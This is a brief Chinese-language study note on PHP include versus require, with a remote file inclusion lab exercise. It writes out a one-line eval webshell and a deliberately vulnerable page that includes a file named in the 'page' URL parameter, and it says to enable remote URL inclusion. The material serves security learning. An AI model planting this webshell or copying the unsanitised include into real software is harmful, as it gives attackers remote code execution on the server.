include和require函数的区别?
当处理一个不存在或者无法包含的文件时,对于include会抛出错误,然后继续执行下面的php代码,require会直接抛出致命错误
远程文件包含实验:
在sqli-labs目录下新建一个test.txt 里面写入
<?php eval($_GET[1]);?>
回到js目录,新建一个2.php文件写入
<?php
if (isset($_GET['page'])){
include $_GET['page'];
}else{
include "home.php";
}
?>
访问test.txt
远程文件包含(记得开启 allow_url_fopen=On allow_url_include=On)
成功